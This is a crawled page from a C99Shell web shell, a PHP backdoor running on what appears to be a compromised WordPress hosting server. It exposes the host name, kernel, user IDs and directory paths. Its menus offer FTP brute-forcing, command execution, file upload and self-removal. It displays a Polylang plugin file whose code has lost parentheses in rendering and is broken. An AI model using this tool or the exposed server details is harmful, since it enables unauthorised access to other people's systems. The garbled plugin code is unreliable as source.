!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/polylang/admin/   drwxr-xr-x
Free 179.52 GB of 490.84 GB (36.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     admin-nav-menu.php (11.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * manages custom menus translations as well as the language switcher menu item on admin side
 *
 * @since 1.2
 */
class PLL_Admin_Nav_Menu extends PLL_Nav_Menu {

    
/**
     * constructor: setups filters and actions
     *
     * @since 1.2
     *
     * @param object $polylang
     */
    
public function __construct( &$polylang ) {
        
parent::__construct$polylang );

        
$this->theme get_option'stylesheet' );

        
// populates nav menus locations
        // since WP 4.4, must be done before customize_register is fired
        
add_filter'theme_mod_nav_menu_locations', array( $this'theme_mod_nav_menu_locations' ), 20 );

        
// integration in the WP menu interface
        
add_action'admin_init', array( $this'admin_init' ) ); // after Polylang upgrade
    
}

    
/**
     * setups filters and terms
     * adds the language switcher metabox and create new nav menu locations
     *
     * @since 1.1
     */
    
public function admin_init() {
        
add_action'admin_enqueue_scripts', array( $this'admin_enqueue_scripts' ) );
        
add_action'wp_update_nav_menu_item', array( $this'wp_update_nav_menu_item' ), 10);
        
add_filter'wp_get_nav_menu_items', array( $this'translate_switcher_title' ) );

        
// translation of menus based on chosen locations
        
add_filter'pre_update_option_theme_mods_' $this->theme, array( $this'pre_update_option_theme_mods' ) );
        
add_action'delete_nav_menu', array( $this'delete_nav_menu' ) );

        
// filter _wp_auto_add_pages_to_menu by language
        
add_action'transition_post_status', array( $this'auto_add_pages_to_menu' ), 5); // before _wp_auto_add_pages_to_menu

        // FIXME is it possible to choose the order ( after theme locations in WP3.5 and older ) ?
        // FIXME not displayed if Polylang is activated before the first time the user goes to nav menus http://core.trac.wordpress.org/ticket/16828
        
add_meta_box'pll_lang_switch_box'__'Language switcher''polylang' ), array( $this'lang_switch' ), 'nav-menus''side''high' );

        
$this->create_nav_menu_locations();
    }

    
/**
     * language switcher metabox
     * The checkbox and all hidden fields are important
     * thanks to John Morris for his very interesting post http://www.johnmorrisonline.com/how-to-add-a-fully-functional-custom-meta-box-to-wordpress-navigation-menus/
     *
     * @since 1.1
     */
    
public function lang_switch() {
        global 
$_nav_menu_placeholder$nav_menu_selected_id;
        
$_nav_menu_placeholder $_nav_menu_placeholder $_nav_menu_placeholder : -1?>

        <div id="posttype-lang-switch" class="posttypediv">
            <div id="tabs-panel-lang-switch" class="tabs-panel tabs-panel-active">
                <ul id="lang-switch-checklist" class="categorychecklist form-no-clear">
                    <li>
                        <label class="menu-item-title">
                            <input type="checkbox" class="menu-item-checkbox" name="menu-item[<?php echo $_nav_menu_placeholder?>][menu-item-object-id]" value="-1"> <?php esc_html_e'Language switcher''polylang' ); ?>
                        </label>
                        <input type="hidden" class="menu-item-type" name="menu-item[<?php echo $_nav_menu_placeholder?>][menu-item-type]" value="custom">
                        <input type="hidden" class="menu-item-title" name="menu-item[<?php echo $_nav_menu_placeholder?>][menu-item-title]" value="<?php esc_html_e'Language switcher''polylang' ); ?>">
                        <input type="hidden" class="menu-item-url" name="menu-item[<?php echo $_nav_menu_placeholder?>][menu-item-url]" value="#pll_switcher">
                   </li>
               </ul>
           </div>
           <p class="button-controls">
               <span class="add-to-menu">
                   <input type="submit" <?php disabled$nav_menu_selected_id); ?> class="button-secondary submit-add-to-menu right" value="<?php esc_attr_e'Add to Menu' ); ?>" name="add-post-type-menu-item" id="submit-posttype-lang-switch">
                   <span class="spinner"></span>
               </span>
           </p>
       </div><?php
    
}

    
/**
     * prepares javascript to modify the language switcher menu item
     *
     * @since 1.1
     */
    
public function admin_enqueue_scripts() {
        
$screen get_current_screen();
        if ( 
'nav-menus' != $screen->base ) {
            return;
        }

        
$suffix defined'SCRIPT_DEBUG' ) && SCRIPT_DEBUG '' '.min';
        
wp_enqueue_script'pll_nav_menu'plugins_url'/js/nav-menu' $suffix '.js'POLYLANG_FILE ), array( 'jquery' ), POLYLANG_VERSION );

        
$data['strings'] = PLL_Switcher::get_switcher_options'menu''string' ); // the strings for the options
        
$data['title'] = __'Language switcher''polylang' ); // the title

        // get all language switcher menu items
        
$items get_posts( array(
            
'numberposts' => -1,
            
'nopaging'    => true,
            
'post_type'   => 'nav_menu_item',
            
'fields'      => 'ids',
            
'meta_key'    => '_pll_menu_item',
        ) );

        
// the options values for the language switcher
        
$data['val'] = array();
        foreach ( 
$items as $item ) {
            
$data['val'][ $item ] = get_post_meta$item'_pll_menu_item'true );
        }

        
// send all these data to javascript
        
wp_localize_script'pll_nav_menu''pll_data'$data );
    }

    
/**
     * save our menu item options
     *
     * @since 1.1
     *
     * @param int $menu_id not used
     * @param int $menu_item_db_id
     */
    
public function wp_update_nav_menu_item$menu_id 0$menu_item_db_id ) {
        if ( empty( 
$_POST['menu-item-url'][ $menu_item_db_id ] ) || '#pll_switcher' != $_POST['menu-item-url'][ $menu_item_db_id ] ) {
            return;
        }

        
// security check
        // as 'wp_update_nav_menu_item' can be called from outside WP admin
        
if ( current_user_can'edit_theme_options' ) ) {
            
check_admin_referer'update-nav_menu''update-nav-menu-nonce' );

            
$options = array( 'hide_if_no_translation' => 0'hide_current' => 0,'force_home' => ,'show_flags' => ,'show_names' => 1'dropdown' => ); // default values
            // our jQuery form has not been displayed
            
if ( empty( $_POST['menu-item-pll-detect'][ $menu_item_db_id ] ) ) {
                if ( ! 
get_post_meta$menu_item_db_id'_pll_menu_item'true ) ) { // our options were never saved
                    
update_post_meta$menu_item_db_id'_pll_menu_item'$options );
                }
            }
            else {
                foreach ( 
$options as $opt => $v ) {
                    
$options$opt ] = empty( $_POST'menu-item-' $opt ][ $menu_item_db_id ] ) ? 1;
                }
                
update_post_meta$menu_item_db_id'_pll_menu_item'$options ); // allow us to easily identify our nav menu item
            
}
        }
    }

    
/**
     * translates the language switcher menu items title in case the user switches the admin language
     *
     * @since 1.1.1
     *
     * @param array $items
     * @return array modified $items
     */
    
public function translate_switcher_title$items ) {
        foreach ( 
$items as $item ) {
            if ( 
'#pll_switcher' == $item->url ) {
                
$item->post_title __'Language switcher''polylang' );
            }
        }
        return 
$items;
    }

    
/**
     * assign menu languages and translations based on ( temporary ) locations
     *
     * @since 1.8
     *
     * @param array $locations nav menu locations
     * @return array
     */
    
public function update_nav_menu_locations$locations ) {
        
$default $this->options['default_lang'];

        
// extract language and menu from locations
        
foreach ( $locations as $loc => $menu ) {
            
$infos $this->explode_location$loc );
            
$this->options['nav_menus'][ $this->theme ][ $infos['location'] ][ $infos['lang'] ] = $menu;
            if ( 
$this->options['default_lang'] != $infos['lang'] ) {
                unset( 
$locations$loc ] ); // remove temporary locations before database update
            
}
        }

        
update_option'polylang'$this->options );
        return 
$locations;
    }

    
/**
     * assign menu languages and translations based on ( temporary ) locations
     *
     * @since 1.1
     *
     * @param array $mods theme mods
     * @return unmodified $mods
     */
    
public function pre_update_option_theme_mods$mods ) {
        if ( 
current_user_can'edit_theme_options' ) && isset( $mods['nav_menu_locations'] ) ) {

            
// Manage Locations tab in Appearance -> Menus
            
if ( isset( $_GET['action'] ) && 'locations' == $_GET['action'] ) {
                
check_admin_referer'save-menu-locations' );
                
$this->options['nav_menus'][ $this->theme ] = array();
            }

            
// Edit Menus tab in Appearance -> Menus
            // add the test of $_POST['update-nav-menu-nonce'] to avoid conflict with Vantage theme
            
elseif ( isset( $_POST['action'], $_POST['update-nav-menu-nonce'] ) && 'update' == $_POST['action'] ) {
                
check_admin_referer'update-nav_menu''update-nav-menu-nonce' );
                
$this->options['nav_menus'][ $this->theme ] = array();
            }

            
// customizer
            // don't reset locations in this case.
            // see http://wordpress.org/support/topic/menus-doesnt-show-and-not-saved-in-theme-settings-multilingual-site
            
elseif ( isset( $_POST['action'] ) && 'customize_save' == $_POST['action'] ) {
                
check_ajax_referer'save-customize_' $GLOBALS['wp_customize']->get_stylesheet(), 'nonce' );
            }

            else {
                return 
$mods// no modification for nav menu locations
            
}

            
$mods['nav_menu_locations'] = $this->update_nav_menu_locations$mods['nav_menu_locations'] );
        }
        return 
$mods;
    }

    
/**
     * fills temporary menu locations based on menus translations
     *
     * @since 1.2
     *
     * @param bool|array $menus
     * @return bool|array modified list of menu locations
     */
    
public function theme_mod_nav_menu_locations$menus ) {
        if ( 
is_array$menus ) ) {
            foreach ( 
$menus as $loc => $menu ) {
                foreach ( 
$this->model->get_languages_list() as $lang ) {
                    if ( ! empty( 
$this->options['nav_menus'][ $this->theme ][ $loc ][ $lang->slug ] ) && term_exists$this->options['nav_menus'][ $this->theme ][ $loc ][ $lang->slug ], 'nav_menu' ) ) {
                        
$menus$this->combine_location$loc$lang ) ] = $this->options['nav_menus'][ $this->theme ][ $loc ][ $lang->slug ];
                    }
                }
            }
        }

        return 
$menus;
    }

    
/**
     * removes the nav menu term_id from the locations stored in Polylang options when a nav menu is deleted
     *
     * @since 1.7.3
     *
     * @param int nav menu id
     */
    
function delete_nav_menu$term_id ) {
        if ( isset( 
$this->options['nav_menus'] ) ) {
            foreach ( 
$this->options['nav_menus'] as $theme => $locations ) {
                foreach ( 
$locations as $loc => $languages ) {
                    foreach ( 
$languages as $lang => $menu_id ) {
                        if ( 
$menu_id === $term_id ) {
                            unset( 
$this->options['nav_menus'][ $theme ][ $loc ][ $lang ] );
                        }
                    }
                }
            }

            
update_option'polylang'$this->options );
        }
    }

    
/**
     * filters the option nav_menu_options for auto added pages to menu
     *
     *    @since 0.9.4
     *
     * @param array $options
     * @return array Modified options
     */
    
public function nav_menu_options$options ) {
        
$options['auto_add'] = array_intersect$options['auto_add'], $this->auto_add_menus );
        return 
$options;
    }

    
/**
     * filters _wp_auto_add_pages_to_menu by language
     *
     * @since 0.9.4
     *
     * @param string $new_status Transition to this post status.
     * @param string $old_status Previous post status.
     * @param object $post Post data.
     */
    
public function auto_add_pages_to_menu$new_status$old_status$post ) {
        if ( 
'publish' != $new_status || 'publish' == $old_status || 'page' != $post->post_type || ! empty( $post->post_parent ) || ! ( $lang $this->model->post->get_language$post->ID ) ) ) {
            return;
        }

        if ( ! empty( 
$this->options['nav_menus'][ $this->theme ] ) ) {
            
$this->auto_add_menus = array();
            
            
// get all the menus in the page language
            
foreach ( $this->options['nav_menus'][ $this->theme ] as $loc ) {
                if ( ! empty( 
$loc$lang->slug ] ) ) {
                    
$this->auto_add_menus[] = $loc$lang->slug ];
                }
            }

            
add_filter'option_nav_menu_options', array( $this'nav_menu_options' ) );
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0098 ]--